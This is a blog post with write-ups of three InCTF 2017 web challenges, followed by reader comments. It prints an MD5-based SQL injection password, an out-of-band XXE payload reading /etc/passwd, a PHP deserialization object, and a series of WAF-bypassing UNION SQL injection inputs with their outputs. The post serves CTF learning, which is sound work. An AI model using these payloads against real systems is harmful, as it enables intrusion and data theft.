InCTF 2017 Writeup

Here are some of the Web Challenges Write-Up for InCTF 2017 which I solved during the 2nd Half of the CTF after juggling between 3DS and GrandPrix CTF. We Participate as dcua team, a group of awesome people trying the best effort for the challenges. It has been quite a time since I published Write-ups, so here we go


Warm-Up (150 Points)

Link :

We are able to see , First of all the password is hashed into raw MD5 which is bad. Additionally, we can notice that there exists SQL Injection in id as well as pw because both are the one’s which user has control.

select id from inctf where id='$input_id' and pw='$input_pw'

Our intended task is to exploit `$input_pw` but due to md5() function, we cannot just simply use ‘ OR 1=1;# . That’s why we need to exploit the raw MD5 Hash itself. There is already a resource on Binary SQL Injection and this concept is used in many other CTF’s before, so it’s not that tough.

So, simply we can use the password as 9fcef3897afe2acc3e7438ce14f5b6a3  

FLAG: inctf{Y0u_C4n_N3v3r_F1nd_7h1s_Fl4g}

upl0ad3r (300 Points)


Simple Upload docx functionality, within a moment we can know that the challenge must be related to XML External Entity (XXE) vulnerability. Once, we upload any .docx file it prints out the author of the file. If you upload any other file format, it throws an error leaking the Path (Full Path Disclosure Vulnerability). In our case, it should be  /var/www/html/upload_docx.php

Now, we quickly get to the

knap@ubuntu:~/thrash$ mv sample.docx
knap@ubuntu:~/thrash$ unzip
knap@ubuntu:~/thrash$ cd docProps/


In the core.xml, our task is to inject here : <dc:creator>Inject_me</dc:creator>. I would perform a Classical Out-Of-Band(OOB) XXE.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE testingxxe [

<!ENTITY % dtd SYSTEM "" > %dtd;]>
... Snipped for Brevity ...

I don’t like much to edit the core.xml and generating a docx everytime. Instead, I use Out-Of-Band to host payload.dtd of my choice

<!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

If you are wondering what’s before the /etc/passwd, then this might help. Infact, there are lot of other ways too. We can utilize the FPD to read the source-code of the Parser. No RCE, because it unlink’s are file after parsing. While enumerating, I got from the robots.txt file. So, I dumped it using the payload and analyzed flag.php as well as getme.php



        $obj = $_GET['obj'];
        $unserialized_obj = unserialize($obj);
        $unserialized_obj->flag = $flag;
        if (hash_equals ($unserialized_obj->input, $unserialized_obj->flag)){
                print file_get_contents('http://admin:admin@');
                echo "Better Luck next time!!";


Deserialization Vulnerability is the last piece of the puzzle. This is quite simple, first we need to create a serialized object which contains $unserialized_obj->input as “hai”.  Usually, deserialization vulnerabilities need knowledge of class. But here, we have no class name specified, so we can use stdClass which is a generic empty class when casting other data types to object.


 Flag: inctf{Xm1_l0v3s_Xx3_xX3_l0v3s_ssrF}

Liar (300 Points)


I shed the first-blood on this challenge. Alright, so we see nothing special on the front page. We can enumerate directories easily and doing that we receive .hg/ folder which is a Mercurial Version Control Software (VCS). We can quickly dump the files from the server on to our machine in order to revert the files. But remember, in Mercurial few files are really important , it lists the index (.i) of the files present, without getting index files there is no way to revert file back. There is an in-depth explanation over Mercurial VCS working mechanism. We can download those files from the /data/ folder for instance

Likewise, we dump all the files, there is a caveat (on the server there are two underscores instead of one to dump vulnerable.php.i). So, once dumped and if the files are placed correctly in the .hg folder locally

$ hg revert 1ts_h4rd_t0_gu3ss/vulnerable.php

There are few more ways to revert too. Now, we can view the likely source code and analyze

        include_once 'dbconfig.php';
        $var = $_POST['name'];
        $res=mysql_query("SELECT * FROM ____ WHERE user=('$var')");
        $useragent = $_SERVER['HTTP_USER_AGENT'];

        Some more filteration Code!! Break it and get the Flag

        if (preg_match('/select/',$var)){
         echo "Our WAF detected an attack!!!";
        else if (preg_match('/SELECT/',$var)){
         echo "Our WAF detected an attack!!!";
        else if (preg_match('/union/',$var)){
         echo "Our WAF detected an attack!!!";
        else if (preg_match('/UNION/',$var)){
         echo "Our WAF detected an attack!!!";
        else if (preg_match('/Union/',$var)){
         echo "Our WAF detected an attack!!!";
        else if (preg_match('/Select/',$var)){
         echo "Our WAF detected an attack!!!";

                echo "Your Friend detail not present!!";

If you doing security stuff, then you will realize how hilarious this Web Application Firewall looks. Important thing is the query here, it is vulnerable to Injection. Moreover, the source code given is just like a crumb of bread. The WAF has something more to make our injections tedious as we discover later.

Focusing on SQL Injection, the Work-Flow is quite simple

SELECT * FROM ____ WHERE user=('$var')
                            You Control This

[In]  ') or 1'='1# 
[Out] You can't attack us, You can't break us

[In] ') /*!50000UnIoN*/ /*!50000SeLeCT*/ @@version#
[Out] Your friend detail is not present

[In] ') OR 1 = 1 LIMIT 1#
[Out] You can't attack us, You can't break us

[In] ') or SLEEP(50);#
[Out] Does wait, but not too long

[In] ') /*!50000UnIon*/ /*!50000SeLect*/ 1,2,3;#
[Out] Columns 1,2,3 Confirmed

[In] ') /*!50000UnIon*/ /*!50000SeLect*/ 1,@@version,3;#
[Out] 5.7.20-0ubuntu0.16.04.1

[In] ') /*!50000UnIon*/ /*!50000SeLect*/ 1,@@innodb_version,3;#
[Out] 5.7.20

My approach is always to identify how the filter / black-lists work by testing and fuzzing the Input. That helps a lot, even if you follow my past write-ups you would notice the same. So, here we are slowly getting acquainted with the behavior of the WAF. Our goal is to get flag, so we cannot settle anything lesser than extracting information from the database.

After few more tests, I noted we cannot use information anywhere like /*!50000inFormaTion*/ or information or iNfOrMaTiOn etc. That shuts the door of extracting table name from information_schema.

Again after few more tests, I noted we cannot use performance anywhere like the above. One more door has been closed for us.

So what’s next ? Look carefully at the output above. I mentioned @@innodb_version , InnoDB is a storage engine for MySQL and Mysql > 5.5 use it by default. If you are a curious reader, then I suggest you to stop reading here and explore tables in mysql schema.

[in] ') /*!50000UnIon*/ /*!50000SeLect*/ 1,table_name,3 /*!50000FrOm*/ mysql.innodb_table_stats where database_name=schema();#
[out] gu3ss1ng_must_n0t_h4pp3n

That’s our table name. But, we cannot extract columns from the innodb* itself. So, we go a little back and look at the MySQL query once more and it leaks the user column for us.

') /*!50000UnIon*/ /*!50000SeLect*/ 1,/*!50000ConCat(user)*/,3 /*!50000FrOm*/ gu3ss1ng_must_n0t_h4pp3n LIMIT 1,1;#
') /*!50000UnIon*/ /*!50000SeLect*/ 1,/*!50000ConCat(user)*/,3 /*!50000FrOm*/ gu3ss1ng_must_n0t_h4pp3n LIMIT 2,1;#
') /*!50000UnIon*/ /*!50000SeLect*/ 1,/*!50000ConCat(user)*/,3 /*!50000FrOm*/ gu3ss1ng_must_n0t_h4pp3n LIMIT 3,1;#
') /*!50000UnIon*/ /*!50000SeLect*/ 1,/*!50000ConCat(user)*/,3 /*!50000FrOm*/ gu3ss1ng_must_n0t_h4pp3n LIMIT 4,1;#

This leaks the user “Gu3$$1NG_n0t_ALL0w3d_91324954” to us. and we can utilize the user-name to fetch the flag from the search-box. Manual SQL Injection with Black-Lists are fun to exploit.

FLAG: inctf{H0w_@b0Ut_@n_r3@L_1nJ3c}


6 thoughts on “InCTF 2017 Writeup

  1. Why you used a deserialization flaw O:8:”stdClass”:1:{s:5:”input”;s:3:”hai”;} as we can get flag via XXE only ? I am mainly interested in why you used variable input value as “hai”? I think if going via deserialization vuln, we can simply set the input and $flag variable to same hash and get the flag.


    1. You cannot get flag directly via XXE, because
      1.) The include(‘flag.php’) is from the server which is not the actual flag ! Whereas the real flag is in flag.php hosted on Internal IP which we cannot access via XXE. The reason for that is it is using authentication admin:admin which we cannot bypass using XXE / LFI Itself

      2.) I have used “hai” because the flag.php hosted on whose source code I haven’t posted there contains “hai” which they check in hash_equals.

      So, without this exact serialization payload, there is no way you can solve the challenge. This is Intended solution.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s